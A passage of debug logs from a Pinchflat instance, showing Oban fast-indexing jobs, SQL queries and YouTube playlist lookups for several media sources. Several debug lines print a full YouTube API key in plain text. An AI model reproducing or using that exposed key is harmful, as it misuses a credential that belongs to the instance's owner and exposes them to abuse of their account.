s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:37.155 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:37.155 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:37.156 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:37.156 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:16:37.156 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:37.156 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:16:37.156 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:37.156 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:37.156 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:37.156 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:37.273 [debug] QUERY OK source="media_items" db=0.6ms idle=116.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 17:16:37.274 [debug] QUERY OK source="media_items" db=0.9ms idle=117.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:16:37.275 [debug] QUERY OK source="tasks" db=0.1ms idle=119.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800160, 27, ~U[2026-02-10 23:16:37Z], ~U[2026-02-10 23:16:37Z]] 17:16:37.275 [info] {"args":{"id":27},"id":3800121,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":120835,"event":"job:stop","queue_time":497076,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:37.380 [debug] QUERY OK source="media_items" db=0.6ms idle=104.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 17:16:37.381 [debug] QUERY OK source="media_items" db=0.3ms idle=105.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:16:37.382 [debug] QUERY OK source="tasks" db=0.0ms idle=100.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800161, 28, ~U[2026-02-10 23:16:37Z], ~U[2026-02-10 23:16:37Z]] 17:16:37.382 [info] {"args":{"id":28},"id":3800122,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":227136,"event":"job:stop","queue_time":395651,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:39.157 [info] {"args":{"id":16},"id":3800123,"meta":{},"system_time":1770765399157733768,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:39.158 [debug] QUERY OK source="sources" db=0.1ms idle=279.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:16:39.158 [debug] QUERY OK source="settings" db=0.0ms idle=279.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:39.158 [debug] QUERY OK source="media_profiles" db=0.1ms idle=279.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:39.158 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:39.158 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:16:39.158 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:39.158 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:39.237 [debug] QUERY OK source="media_items" db=0.7ms idle=78.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 17:16:39.239 [debug] QUERY OK source="media_items" db=1.1ms idle=79.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:16:39.240 [debug] QUERY OK source="tasks" db=0.1ms idle=81.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800162, 16, ~U[2026-02-10 23:16:39Z], ~U[2026-02-10 23:16:39Z]] 17:16:39.240 [info] {"args":{"id":16},"id":3800123,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":82320,"event":"job:stop","queue_time":545824,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:40.159 [info] {"args":{"id":43},"id":3800124,"meta":{},"system_time":1770765400159699506,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:40.160 [debug] QUERY OK source="sources" db=0.1ms idle=919.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:16:40.160 [debug] QUERY OK source="settings" db=0.1ms idle=920.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:40.160 [debug] QUERY OK source="media_profiles" db=0.1ms idle=913.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:40.160 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:40.160 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:16:40.161 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:40.161 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:40.278 [debug] QUERY OK source="media_items" db=0.5ms idle=117.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 17:16:40.279 [debug] QUERY OK source="media_items" db=0.3ms idle=118.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:16:40.280 [debug] QUERY OK source="tasks" db=0.1ms idle=119.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800163, 43, ~U[2026-02-10 23:16:40Z], ~U[2026-02-10 23:16:40Z]] 17:16:40.280 [info] {"args":{"id":43},"id":3800124,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":120579,"event":"job:stop","queue_time":469282,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:41.160 [info] {"args":{"id":19},"id":3800125,"meta":{},"system_time":1770765401160644544,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:41.161 [debug] QUERY OK source="sources" db=0.1ms idle=880.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:16:41.161 [debug] QUERY OK source="settings" db=0.1ms idle=880.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:41.161 [debug] QUERY OK source="media_profiles" db=0.1ms idle=874.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:41.161 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:41.161 [debug] Fetching recent media IDs from YouTube API for playlist: 